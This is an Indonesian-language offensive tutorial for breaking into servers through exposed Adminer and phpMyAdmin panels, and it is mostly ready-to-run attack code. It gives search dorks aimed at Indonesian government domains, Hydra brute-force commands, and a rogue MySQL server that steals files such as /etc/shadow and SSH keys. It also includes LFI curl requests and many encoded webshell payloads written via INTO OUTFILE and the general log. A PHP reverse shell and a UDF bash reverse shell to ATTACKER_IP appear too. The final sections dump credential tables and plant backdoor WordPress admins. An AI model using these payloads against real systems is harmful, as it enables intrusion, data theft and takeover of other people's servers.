Exposed Database Panels: Adminer & phpMyAdmin

Eksploitasi panel database publik — Adminer rogue MySQL, phpMyAdmin LFI/RCE, webshell via SQL, dan teknik encoding payload.
February 23, 2026 Reading: 17 min Authors:
  • Siti

Daftar Isi


Bab 1 — Menemukan Panel yang Terekspos

1.1 Apa itu Adminer & phpMyAdmin

ToolDeskripsiFile
AdminerDatabase management dalam 1 file PHP. Support MySQL, PostgreSQL, SQLite, MS SQL, Oracleadminer.php (single file)
phpMyAdminWeb interface untuk MySQL/MariaDB. Lebih lengkap, lebih beratFolder /phpmyadmin/

Keduanya digunakan developer untuk mengelola database via browser. Masalahnya — sering lupa dihapus atau tidak dilindungi di production server.

1.2 Mengapa Sering Terekspos

  • Developer deploy untuk debugging, lupa hapus
  • Hosting shared (cPanel, DirectAdmin) otomatis install phpMyAdmin
  • Docker compose meng-expose port tanpa auth
  • Tidak ada firewall rule yang membatasi akses
  • .htaccess / nginx config tidak melindungi path

1.3 Dorking: Google

# Adminer
inurl:adminer.php
intitle:"Adminer" inurl:adminer
intitle:"Login - Adminer"
inurl:adminer.php "MySQL" "Login"
inurl:adminer.php ext:php

# phpMyAdmin
inurl:phpmyadmin intitle:"phpMyAdmin"
intitle:"phpMyAdmin" "Welcome to phpMyAdmin"
inurl:"/phpmyadmin/index.php"
inurl:pma intitle:phpMyAdmin
intitle:"phpMyAdmin" "Server: localhost"
intitle:"phpMyAdmin" "Log in" inurl:phpmyadmin

# Targeted (specific TLD/domain)
site:target.com inurl:adminer
site:target.com inurl:phpmyadmin
site:.id inurl:adminer.php
site:.go.id inurl:phpmyadmin

1.4 Dorking: Shodan

 1# Adminer
 2shodan search "Adminer" "Login" --fields ip_str,port,org
 3shodan search 'http.title:"Adminer" http.html:"Login"'
 4shodan search 'http.title:"Login - Adminer"'
 5
 6# phpMyAdmin
 7shodan search 'http.title:"phpMyAdmin"'
 8shodan search 'http.title:"phpMyAdmin" http.html:"Welcome"'
 9shodan search 'http.title:"phpMyAdmin" country:"ID"'
10
11# CLI bulk
12shodan download results 'http.title:"phpMyAdmin"'
13shodan parse --fields ip_str,port results.json.gz

1.5 Dorking: FOFA / Censys / ZoomEye

# FOFA (fofa.info)
title="Adminer" && body="Login"
title="phpMyAdmin" && country="ID"
body="adminer.php" && status_code="200"

# Censys (search.censys.io)
services.http.response.html_title: "phpMyAdmin"
services.http.response.html_title: "Adminer"

# ZoomEye (zoomeye.org)
title:"phpMyAdmin" +country:"ID"
title:"Adminer" +after:"2024-01-01"

1.6 Nuclei Templates

 1# Scan single target
 2nuclei -u https://target.com -t http/exposed-panels/adminer-panel-detect.yaml
 3nuclei -u https://target.com -t http/exposed-panels/phpmyadmin-panel.yaml
 4
 5# Scan dari file
 6nuclei -l targets.txt -t http/exposed-panels/ -tags panel
 7
 8# Scan semua exposed panel sekaligus
 9nuclei -l targets.txt -tags panel,phpmyadmin,adminer
10
11# Custom path bruteforce + detect
12nuclei -l targets.txt -t http/exposed-panels/ -t http/misconfiguration/

1.7 Manual Discovery via Path Bruteforce

Path umum yang perlu dicek:

Adminer:

/adminer.php
/adminer/
/adminer/adminer.php
/adminer-4.8.1.php
/adminer-4.7.8.php
/_adminer.php
/db.php
/database.php
/dbadmin.php
/sql.php
/admin/adminer.php
/tools/adminer.php
/vendor/adminer/adminer/adminer.php

phpMyAdmin:

/phpmyadmin/
/phpmyadmin/index.php
/pma/
/PMA/
/phpMyAdmin/
/phpMyAdmin/index.php
/mysql/
/myadmin/
/dbadmin/
/sql/
/admin/pma/
/admin/phpmyadmin/
/tools/phpmyadmin/
/cpanel/phpmyadmin/

Bruteforce dengan ffuf:

 1# Wordlist khusus db panels
 2cat > /tmp/dbpanels.txt << 'EOF'
 3adminer.php
 4adminer/
 5adminer/adminer.php
 6phpmyadmin/
 7phpMyAdmin/
 8pma/
 9PMA/
10myadmin/
11mysql/
12dbadmin/
13sql.php
14db.php
15database.php
16EOF
17
18ffuf -u https://target.com/FUZZ -w /tmp/dbpanels.txt -mc 200,301,302,401,403

Bab 2 — Eksploitasi Adminer

2.1 Versi & Kerentanan

VersiCVEKerentanan
< 4.7.9CVE-2021-21311SSRF via redirect
< 4.7.8-Rogue MySQL Server → arbitrary file read
< 4.6.3CVE-2018-7667SSRF
Semua versi-Login ke arbitrary MySQL server (by design)

Cek versi Adminer:

  • Biasanya tertulis di halaman login: “Adminer 4.8.1”
  • Atau di source HTML: <title>Login - Adminer</title>
  • Footer: “Adminer 4.x.x for MySQL”

2.2 Default / Weak Credentials

Adminer sendiri tidak punya credentials — dia login ke database server. Yang perlu dicoba:

# MySQL default
root : (kosong)
root : root
root : mysql
root : password
root : toor
admin : admin
mysql : mysql

# MariaDB (sering tanpa password di localhost)
root : (kosong)

# Hosting panels (cPanel dll)
# Username biasanya = nama database = nama cpanel user
# Format: prefix_dbname

Brute force:

1# Hydra terhadap Adminer form
2hydra -l root -P /usr/share/wordlists/rockyou.txt \
3  target.com http-post-form \
4  "/adminer.php:auth[driver]=server&auth[server]=localhost&auth[username]=^USER^&auth[password]=^PASS^&auth[db]=:F=Invalid credentials"

2.3 CVE-2021-21311 — SSRF

Adminer < 4.7.9 — bisa SSRF via redirect saat connect ke database server.

 1# 1. Setup redirect server di VPS attacker
 2# redirect.py
 3cat > /tmp/redirect.py << 'PYEOF'
 4from http.server import HTTPServer, BaseHTTPRequestHandler
 5class Handler(BaseHTTPRequestHandler):
 6    def do_GET(self):
 7        self.send_response(301)
 8        # Redirect ke internal service
 9        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
10        self.end_headers()
11HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
12PYEOF
13python3 /tmp/redirect.py
14
15# 2. Di Adminer, set server ke: attacker-ip
16#    Adminer akan follow redirect → SSRF ke internal

Target SSRF yang berguna:

http://127.0.0.1:6379/          → Redis
http://169.254.169.254/          → Cloud metadata (AWS/GCP)
http://127.0.0.1:9200/          → Elasticsearch
http://internal-host:8080/       → Internal web apps

2.4 Adminer File Read (Rogue MySQL Server)

Teknik paling powerful untuk Adminer < 4.7.8. Adminer akan mengirim file dari server target ke MySQL server yang kamu kontrol.

Cara kerja: MySQL protocol punya fitur LOAD DATA LOCAL INFILE — server bisa minta client (Adminer) mengirim file apapun.

 1# 1. Setup Rogue MySQL Server di VPS attacker
 2# Gunakan tool: https://github.com/allyshka/Rogue-MySql-Server
 3
 4git clone https://github.com/allyshka/Rogue-MySql-Server
 5cd Rogue-MySql-Server
 6
 7# Edit config — file apa yang mau dibaca dari target
 8# rogue_mysql_server.py → set filelist:
 9# /etc/passwd
10# /var/www/html/wp-config.php
11# /etc/shadow
12# /proc/self/environ
13
14python3 rogue_mysql_server.py
15
16# 2. Di halaman Adminer target:
17#    Server: attacker-ip
18#    Username: root
19#    Password: (apapun)
20#    Database: (kosong)
21#    Klik Login
22
23# 3. Adminer connect ke rogue server
24#    Rogue server minta LOAD DATA LOCAL INFILE
25#    Adminer kirim isi file dari server target
26#    File tersimpan di log rogue server

File yang menarik untuk dibaca:

# Web app config
/var/www/html/wp-config.php           # WordPress
/var/www/html/.env                     # Laravel/generic
/var/www/html/config/database.yml      # Rails
/var/www/html/application/config/database.php  # CodeIgniter
/var/www/html/app/etc/env.php          # Magento
/var/www/html/sites/default/settings.php  # Drupal

# System files
/etc/passwd
/etc/shadow                            # kalau Adminer jalan sebagai root
/etc/hostname
/proc/self/environ                     # environment variables
/proc/self/cmdline

# SSH keys
/root/.ssh/id_rsa
/home/www-data/.ssh/id_rsa

# Database config
/etc/mysql/debian.cnf                  # Debian MySQL default creds
/etc/my.cnf

2.5 Login tanpa Password (MySQL Empty Root)

Banyak MySQL/MariaDB yang dikonfigurasi tanpa password untuk root di localhost. Jika Adminer terekspos di server yang sama:

Server: localhost
Username: root
Password: (kosong)
Database: (kosong atau mysql)

Variasi:

Server: 127.0.0.1
Server: localhost:3306
Server: localhost:/var/run/mysqld/mysqld.sock

Jika berhasil login → lanjut ke section 2.6.

2.6 Post-Login: Database ke Shell

Setelah berhasil login ke database via Adminer:

a) Enumerasi Webroot Path

Sebelum menulis webshell, kamu harus tahu di mana document root web server. Jangan asal tebak — gunakan SQL untuk meraba path yang benar.

Dari MySQL variables & status:

 1-- Datadir (bukan webroot, tapi jadi referensi)
 2SELECT @@datadir;
 3-- /var/lib/mysql/
 4
 5-- Hostname (menunjukkan OS & kemungkinan distro)
 6SELECT @@hostname;
 7
 8-- Basedir MySQL
 9SELECT @@basedir;
10-- /usr/ (Debian/Ubuntu) atau /usr/local/mysql/ (manual install)
11
12-- OS yang dipakai
13SELECT @@version_compile_os;
14-- Linux, debian-linux-gnu, Win64, dll
15
16-- Plugin dir (menunjukkan struktur direktori server)
17SHOW VARIABLES LIKE 'plugin_dir';
18-- /usr/lib/mysql/plugin/ → kemungkinan Debian/Ubuntu
19-- /usr/lib64/mysql/plugin/ → kemungkinan CentOS/RHEL
20
21-- Tmpdir (fallback untuk write file)
22SELECT @@tmpdir;
23-- /tmp biasanya selalu writable
24
25-- Cek secure_file_priv
26SHOW VARIABLES LIKE 'secure_file_priv';
27-- Kosong = write kemana saja
28-- /var/lib/mysql-files/ = hanya bisa write ke sana
29-- NULL = tidak bisa write sama sekali

Baca file konfigurasi web server langsung (jika punya FILE privilege):

 1-- ========== Apache ==========
 2-- Debian/Ubuntu
 3SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
 4SELECT LOAD_FILE('/etc/apache2/sites-enabled/default-ssl.conf');
 5SELECT LOAD_FILE('/etc/apache2/apache2.conf');
 6
 7-- CentOS/RHEL
 8SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
 9SELECT LOAD_FILE('/etc/httpd/conf.d/ssl.conf');
10
11-- Cari DocumentRoot di output:
12-- DocumentRoot /var/www/html
13-- DocumentRoot /home/user/public_html
14
15-- ========== Nginx ==========
16SELECT LOAD_FILE('/etc/nginx/nginx.conf');
17SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
18SELECT LOAD_FILE('/etc/nginx/conf.d/default.conf');
19
20-- Cari root directive di output:
21-- root /var/www/html;
22-- root /usr/share/nginx/html;
23
24-- ========== cPanel ==========
25SELECT LOAD_FILE('/etc/apache2/conf/httpd.conf');
26SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
27-- DocumentRoot biasanya /home/<username>/public_html
28
29-- ========== Plesk ==========
30SELECT LOAD_FILE('/etc/apache2/plesk.conf.d/vhosts/*.conf');
31-- DocumentRoot /var/www/vhosts/<domain>/httpdocs
32
33-- ========== XAMPP / LAMP ==========
34SELECT LOAD_FILE('/opt/lampp/etc/httpd.conf');
35-- DocumentRoot /opt/lampp/htdocs

Baca file konfigurasi aplikasi (untuk temukan base path):

 1-- WordPress
 2SELECT LOAD_FILE('/var/www/html/wp-config.php');
 3
 4-- Laravel (.env)
 5SELECT LOAD_FILE('/var/www/html/.env');
 6SELECT LOAD_FILE('/var/www/laravel/.env');
 7
 8-- CMS config umum
 9SELECT LOAD_FILE('/var/www/html/configuration.php');       -- Joomla
10SELECT LOAD_FILE('/var/www/html/sites/default/settings.php'); -- Drupal
11SELECT LOAD_FILE('/var/www/html/config/config.php');       -- Generic
12
13-- Proc cmdline (lihat proses web server dan path)
14SELECT LOAD_FILE('/proc/self/cmdline');
15
16-- /etc/passwd (cari user web & home dir)
17SELECT LOAD_FILE('/etc/passwd');
18-- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19-- → webroot kemungkinan di /var/www/ atau /var/www/html/

Probing path via error — tulis ke berbagai lokasi, cek mana yang berhasil:

 1-- Tulis test file ke kandidat path, cek response
 2SELECT 'test' INTO OUTFILE '/var/www/html/test.txt';
 3SELECT 'test' INTO OUTFILE '/var/www/test.txt';
 4SELECT 'test' INTO OUTFILE '/usr/share/nginx/html/test.txt';
 5SELECT 'test' INTO OUTFILE '/home/www/public_html/test.txt';
 6SELECT 'test' INTO OUTFILE '/srv/www/htdocs/test.txt';
 7SELECT 'test' INTO OUTFILE '/opt/lampp/htdocs/test.txt';
 8
 9-- Cek masing-masing:
10-- curl -s https://target.com/test.txt
11-- Yang return "test" = webroot ditemukan

Dari database itu sendiri (jika ada CMS terinstall):

 1-- WordPress: ambil siteurl
 2SELECT option_value FROM wp_options WHERE option_name = 'siteurl';
 3SELECT option_value FROM wp_options WHERE option_name = 'home';
 4-- https://target.com → webroot biasanya /var/www/html/
 5
 6-- WordPress: cek upload path
 7SELECT option_value FROM wp_options WHERE option_name = 'upload_path';
 8
 9-- Joomla
10SELECT value FROM jos_extensions WHERE name = 'com_media';
11
12-- Laravel: ambil path dari sessions atau cache table
13SELECT payload FROM sessions LIMIT 1;
14
15-- Drupal
16SELECT value FROM variable WHERE name = 'file_public_path';

Tabel referensi webroot berdasarkan OS & web server:

OS / ServerWebroot Path
Ubuntu/Debian + Apache/var/www/html/
Ubuntu/Debian + Nginx/var/www/html/ atau /usr/share/nginx/html/
CentOS/RHEL + Apache/var/www/html/
CentOS/RHEL + Nginx/usr/share/nginx/html/
openSUSE + Apache/srv/www/htdocs/
Arch Linux/srv/http/
FreeBSD + Apache/usr/local/www/apache24/data/
cPanel/home/<user>/public_html/
Plesk/var/www/vhosts/<domain>/httpdocs/
XAMPP/opt/lampp/htdocs/
WAMP (Windows)C:/wamp64/www/
MAMP (macOS)/Applications/MAMP/htdocs/
Docker (bitnami)/opt/bitnami/wordpress/ atau /app/
Laravel/var/www/html/public/ (symlink ke storage)
Symfony/var/www/html/public/
CodeIgniter/var/www/html/

Subdirectory yang sering writable (lebih aman untuk write):

 1-- Upload directories (biasanya chmod 777 atau writable oleh www-data)
 2SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php';
 3SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/wp-content/uploads/shell.php';
 4SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/images/shell.php';
 5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/media/shell.php';
 6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmp/shell.php';
 7SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cache/shell.php';
 8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/assets/shell.php';
 9SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/storage/shell.php';
10SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/public/uploads/shell.php';

b) SELECT INTO OUTFILE (Webshell)

Setelah tahu webroot, tulis webshell:

1-- Cek privilege
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Tulis webshell
5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Akses: https://target.com/shell.php?cmd=id

File Ownership & Permission:

File yang ditulis MySQL (INTO OUTFILE maupun General Log) dimiliki oleh user OS yang menjalankan proses mysqld:

DistroUserGroup
Debian/Ubuntumysqlmysql
RHEL/CentOSmysqlmysql
Alpine/Dockermysqlmysql

INTO OUTFILE membuat file dengan permission 0666 (rw-rw-rw-) — world-readable, sehingga web server (www-data, apache, nginx) tetap bisa membaca dan meng-execute file PHP tersebut.

Kondisi yang bisa menyebabkan gagal:

KondisiPenjelasanCek
secure_file_privMembatasi direktori tujuan writeSHOW VARIABLES LIKE 'secure_file_priv';
AppArmor/SELinuxPolicy blokir mysqld menulis ke luar /var/lib/mysql/aa-status atau getenforce
Directory permissionDirektori target harus writable oleh user mysql (minimal o+wx)Coba tulis ke beberapa path
File sudah adaINTO OUTFILE menolak overwrite file existingGunakan nama file unik
Read-only filesystemContainer atau mount read-onlyCari direktori writable (/tmp, /var/tmp)
1-- Verifikasi: cek user yang menjalankan MySQL
2SELECT USER(), CURRENT_USER();
3SHOW VARIABLES LIKE 'secure_file_priv';
4
5-- Jika secure_file_priv tidak kosong, file hanya bisa ditulis ke direktori itu
6-- Jika nilainya NULL → INTO OUTFILE dinonaktifkan sepenuhnya
7-- Jika nilainya kosong ('') → bebas tulis kemana saja

Tips: Jika INTO OUTFILE diblokir, gunakan General Log trick (lihat bagian berikutnya) — file yang ditulis via General Log memiliki ownership dan permission yang sama (mysql:mysql), tapi tidak dibatasi oleh secure_file_priv.

Masalah Quote pada Payload Panjang:

Payload sederhana seperti di atas mudah ditulis. Tapi jika PHP payload lebih kompleks (file manager, reverse shell, dll), quote akan bentrok antara SQL string dan PHP string. Berikut teknik encoding untuk menghindari masalah ini:

Teknik 1: Hex Encoding (Paling Reliable)

MySQL bisa menulis raw bytes dari hex literal — tanpa quote sama sekali:

1-- Contoh: <?php system($_GET["cmd"]); ?>
2-- Konversi ke hex:
3SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO OUTFILE '/var/www/html/shell.php';

Untuk payload panjang, generate hex string dari terminal:

1# Dari file PHP lokal
2xxd -p payload.php | tr -d '\n' | sed 's/^/0x/'
3
4# Inline one-liner
5echo -n '<?php eval($_POST["x"]); ?>' | xxd -p | tr -d '\n' | sed 's/^/0x/'

Contoh payload kompleks (reverse shell):

1-- <?php $sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
2SELECT 0x3C3F70687020247363636B3D66736F636B6F70656E282231302E31302E31342E31222C34343434293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B203F3E
3INTO OUTFILE '/var/www/html/rs.php';

Teknik 2: CHAR() Function

Bangun string dari ASCII code — berguna untuk payload pendek-menengah:

1-- <?php system($_GET["cmd"]); ?>
2SELECT CHAR(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62)
3INTO OUTFILE '/var/www/html/shell.php';

Generate CHAR sequence dari terminal:

1echo -n '<?php system($_GET["cmd"]); ?>' | od -An -td1 | tr ' ' ',' | sed 's/^,//;s/,$//'

Teknik 3: CONCAT() + Escape

Pecah string menjadi bagian-bagian untuk menghindari bentrok quote:

1-- Gunakan single quote di SQL, escape internal single quote
2SELECT CONCAT(
3  '<?php ',
4  'eval(base64_decode($_POST[',
5  CHAR(34), 'x', CHAR(34),  -- double quote via CHAR()
6  ']));',
7  ' ?>'
8) INTO OUTFILE '/var/www/html/shell.php';

Teknik 4: Base64 Wrapper (Payload Panjang)

Tulis PHP kecil yang decode+eval base64 — payload asli disimpan sebagai base64 string tanpa karakter bermasalah:

1-- Wrapper kecil yang decode payload asli
2SELECT '<?php eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpe2VjaG8gIjxwcmU+IjtzeXn0ZW0oJF9SRVFVRVNUWydjbWQnXSk7ZWNobyAiPC9wcmU+Ijtka2UoKTt9")); ?>'
3INTO OUTFILE '/var/www/html/shell.php';

Generate base64 dari terminal:

1# Encode payload PHP (tanpa tag <?php ?>)
2echo -n 'if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";die();}' | base64 -w0

Lalu masukkan ke wrapper:

1-- Wrapper tidak mengandung double-quote jadi aman
2SELECT CONCAT('<?php eval(base64_decode("', 'PASTE_BASE64_HERE', '")); ?>') INTO OUTFILE '/var/www/html/shell.php';

Teknik 5: Hex + UNHEX() untuk General Log

Jika menggunakan General Log trick, hex juga bisa dipakai:

1SET global general_log = ON;
2SET global general_log_file = '/var/www/html/shell.php';
3
4-- Query hex langsung masuk ke log sebagai binary
5SELECT UNHEX('3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E');
6
7SET global general_log = OFF;

Catatan: General Log menulis query apa adanya ke file, jadi UNHEX() akan menulis hasil decode (raw PHP) ke log file.

Ringkasan Teknik Encoding:

TeknikKelebihanKekurangan
Hex (0x...)Tanpa quote, paling reliableString panjang, susah dibaca
CHAR()Mudah dipahamiVerbose untuk payload panjang
CONCAT()Fleksibel, bisa mix teknikPerlu hati-hati struktur
Base64 wrapperPayload berapapun panjangnya amanButuh eval() di PHP
UNHEX()Untuk General Log trickHanya untuk General Log

Tips: Untuk payload production, gunakan Hex Encoding (Teknik 1) — paling reliable, tidak ada masalah quote, dan bekerja di semua versi MySQL/MariaDB.

b) General Log Trick

Jika INTO OUTFILE diblokir oleh secure_file_priv:

1-- Aktifkan general log dan arahkan ke webroot
2SET global general_log = ON;
3SET global general_log_file = '/var/www/html/shell.php';
4
5-- Jalankan query yang mengandung PHP
6SELECT '<?php system($_GET["cmd"]); ?>';
7
8-- Matikan log
9SET global general_log = OFF;

c) UDF (User Defined Function) — RCE langsung

 1-- Cek plugin dir
 2SHOW VARIABLES LIKE 'plugin_dir';
 3-- Biasanya /usr/lib/mysql/plugin/
 4
 5-- Upload UDF shared library ke plugin dir
 6-- (butuh binary .so yang kompatibel)
 7
 8-- Buat function
 9CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
10SELECT sys_exec('id > /tmp/output.txt');
11SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Bab 3 — Eksploitasi phpMyAdmin

3.1 Versi & Kerentanan

VersiCVEKerentanan
4.8.0 - 4.8.1CVE-2018-12613Local File Inclusion
4.0.x - 4.6.xCVE-2016-5734RCE via preg_replace /e modifier
4.8.xCVE-2018-19968LFI via transformation
2.x - 4.0.xCVE-2009-1151RCE via config setup script
< 5.1.2CVE-2023-25727XSS to RCE
Semua-Weak/default credentials + SQL exploitation

Cek versi: biasanya terlihat di halaman login atau footer setelah login.

3.2 Default / Weak Credentials

# Default
root : (kosong)
root : root
root : mysql
root : password
pma : (kosong)
phpmyadmin : (kosong)

# cPanel default (username = cpanel username)
# Plesk default
admin : admin_password_dari_panel

# Docker default (bitnami/phpmyadmin)
root : (kosong)
root : root

Brute force:

1hydra -l root -P /usr/share/wordlists/rockyou.txt \
2  target.com http-post-form \
3  "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:F=Cannot log in"

3.3 CVE-2018-12613 — Local File Inclusion

phpMyAdmin 4.8.0 - 4.8.1 — LFI tanpa autentikasi.

1# Baca /etc/passwd
2curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd"
3
4# Baca config phpMyAdmin (berisi credentials)
5curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/phpmyadmin/config-db.php"
6
7# Baca wp-config.php
8curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../var/www/html/wp-config.php"

LFI to RCE (via PHP session):

1# 1. Login ke phpMyAdmin (dengan creds apapun)
2# 2. Execute SQL query yang mengandung PHP code:
3SELECT '<?php system($_GET["cmd"]); ?>'
4
5# 3. Query tersimpan di session file
6# 4. Include session file via LFI:
7curl -sk -b "phpMyAdmin=SESSION_ID" \
8  "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../tmp/sess_SESSION_ID&cmd=id"

3.4 CVE-2016-5734 — RCE via preg_replace

phpMyAdmin 4.0.x - 4.6.x — RCE jika sudah login.

1# Gunakan exploit script
2python3 cve-2016-5734.py -u root -p "" \
3  "https://target.com/phpmyadmin/" \
4  -c "system('id')"

Manual via SQL:

1-- Di phpMyAdmin SQL tab, jalankan:
2-- Buat table dengan payload
3CREATE TABLE IF NOT EXISTS pma_rce (code TEXT);
4INSERT INTO pma_rce VALUES ('<?php system($_GET["cmd"]); ?>');
5
6-- Trigger via export/search dengan regex /e modifier (versi lama PHP)

3.5 Post-Login: SQL Query ke Webshell

Setelah login ke phpMyAdmin, bisa langsung jalankan SQL:

1-- Cek privilege
2SHOW GRANTS;
3
4-- Cek secure_file_priv
5SHOW VARIABLES LIKE 'secure_file_priv';
6
7-- Jika kosong → tulis webshell
8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

3.6 Post-Login: SELECT INTO OUTFILE

Sama seperti Adminer, tapi via phpMyAdmin interface:

  1. Buka tab SQL
  2. Jalankan:
1SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Jika secure_file_priv memblokir:

1-- Cek nilainya
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Jika ada path misal /var/lib/mysql-files/
5-- Tulis ke sana, lalu akses via LFI lain atau symlink
6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';

Alternatif path webroot yang umum:

 1-- Apache
 2'/var/www/html/shell.php'
 3'/var/www/shell.php'
 4'/srv/www/htdocs/shell.php'
 5
 6-- Nginx
 7'/usr/share/nginx/html/shell.php'
 8'/var/www/html/shell.php'
 9
10-- cPanel
11'/home/username/public_html/shell.php'
12
13-- Plesk
14'/var/www/vhosts/domain.com/httpdocs/shell.php'
15
16-- XAMPP / WAMP
17'/opt/lampp/htdocs/shell.php'
18'C:/xampp/htdocs/shell.php'

3.7 Post-Login: General Log Trick

Jika INTO OUTFILE tidak bisa:

 1-- Cek status general log saat ini
 2SHOW VARIABLES LIKE 'general_log%';
 3
 4-- Arahkan log ke webroot
 5SET global general_log_file = '/var/www/html/backdoor.php';
 6SET global general_log = ON;
 7
 8-- Trigger log entry berisi PHP
 9SELECT '<?php system($_GET["cmd"]); ?>';
10
11-- Matikan
12SET global general_log = OFF;

Akses: https://target.com/backdoor.php?cmd=id

Catatan: Butuh privilege SUPER atau SET untuk mengubah global variables.


Bab 4 — Post-Exploitation

4.1 Dari Database Access ke Data Dump

Setelah login ke database panel, prioritas pertama — dump data sensitif:

 1-- List semua database
 2SHOW DATABASES;
 3
 4-- Cari tabel user/credentials
 5SELECT table_schema, table_name FROM information_schema.tables
 6WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%'
 7   OR table_name LIKE '%account%' OR table_name LIKE '%login%'
 8   OR table_name LIKE '%credential%' OR table_name LIKE '%member%';
 9
10-- Dump user table (contoh WordPress)
11SELECT user_login, user_pass, user_email FROM wp_users;
12
13-- Dump user table (contoh Laravel)
14SELECT name, email, password FROM users;
15
16-- Cari kolom yang mengandung password/secret
17SELECT table_schema, table_name, column_name FROM information_schema.columns
18WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%'
19   OR column_name LIKE '%token%' OR column_name LIKE '%key%'
20   OR column_name LIKE '%credit_card%' OR column_name LIKE '%ssn%';
21
22-- Export via phpMyAdmin: Database → Export → SQL/CSV
23-- Export via Adminer: Select → Export

4.2 Dari Database ke Shell (RCE)

Prioritas kedua — dapatkan shell di server:

Metode 1: INTO OUTFILE → webshell         (butuh FILE privilege + secure_file_priv kosong)
Metode 2: General Log → webshell           (butuh SUPER privilege)
Metode 3: UDF → system command             (butuh FILE + INSERT + plugin dir writable)
Metode 4: Rogue MySQL (Adminer) → file read → cari creds → SSH/login panel

Cek privilege kamu:

 1-- Semua privilege
 2SHOW GRANTS;
 3SHOW GRANTS FOR CURRENT_USER();
 4
 5-- Cek user & host
 6SELECT user(), current_user();
 7
 8-- Cek apakah FILE privilege ada
 9SELECT privilege_type FROM information_schema.user_privileges
10WHERE grantee = CONCAT("'", REPLACE(CURRENT_USER(), '@', "'@'"), "'")
11  AND privilege_type = 'FILE';

4.3 Privilege Escalation dari MySQL User

Jika hanya punya akses database user biasa (bukan root):

 1-- Cek semua user MySQL
 2SELECT user, host, authentication_string FROM mysql.user;
 3-- Jika bisa baca tabel ini → crack hash → login sebagai root
 4
 5-- MySQL 5.x hash = SHA1(SHA1(password))
 6-- Crack dengan hashcat:
 7-- hashcat -m 300 hash.txt rockyou.txt
 8
 9-- Cek user dengan GRANT ALL
10SELECT * FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

Dari database credentials ke system access:

1-- Baca MySQL config (mungkin ada password)
2SHOW VARIABLES LIKE '%password%';
3
4-- Baca replication credentials
5SHOW SLAVE STATUS\G
6-- Master_User + password bisa dipakai ke server lain

4.4 Pivot ke Aplikasi Web

Setelah punya akses database, bisa take over aplikasi web yang menggunakan DB tersebut:

WordPress

 1-- Ganti password admin
 2UPDATE wp_users SET user_pass = MD5('hacked123') WHERE user_login = 'admin';
 3
 4-- Atau buat admin baru
 5INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status)
 6VALUES ('backdoor', MD5('hacked123'), '[email protected]', NOW(), 0);
 7
 8INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
 9VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
10
11INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
12VALUES (LAST_INSERT_ID(), 'wp_user_level', '10');
13
14-- Setelah login WP admin → Appearance → Theme Editor → edit 404.php → webshell

Laravel

1-- Laravel pakai bcrypt, generate hash dulu:
2-- php -r "echo password_hash('hacked123', PASSWORD_BCRYPT);"
3-- Hasilnya: $2y$10$xxx...
4
5UPDATE users SET password = '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi'
6WHERE email = '[email protected]';
7-- Password: password (ini default hash dari Laravel factory)

Drupal

1-- Drupal 8/9/10 pakai Phpass
2-- Generate: php -r "echo \Drupal\Core\Password\PhpassHashedPassword::hash('hacked123');"
3
4UPDATE users_field_data SET pass = '$S$DxxxxxxHASHxxxxxx' WHERE uid = 1;

Custom Application

 1-- Cari tipe hash yang dipakai
 2SELECT password FROM users LIMIT 1;
 3
 4-- MD5 (32 char hex)
 5UPDATE users SET password = MD5('hacked123') WHERE username = 'admin';
 6
 7-- SHA256
 8UPDATE users SET password = SHA2('hacked123', 256) WHERE username = 'admin';
 9
10-- bcrypt ($2y$ prefix)
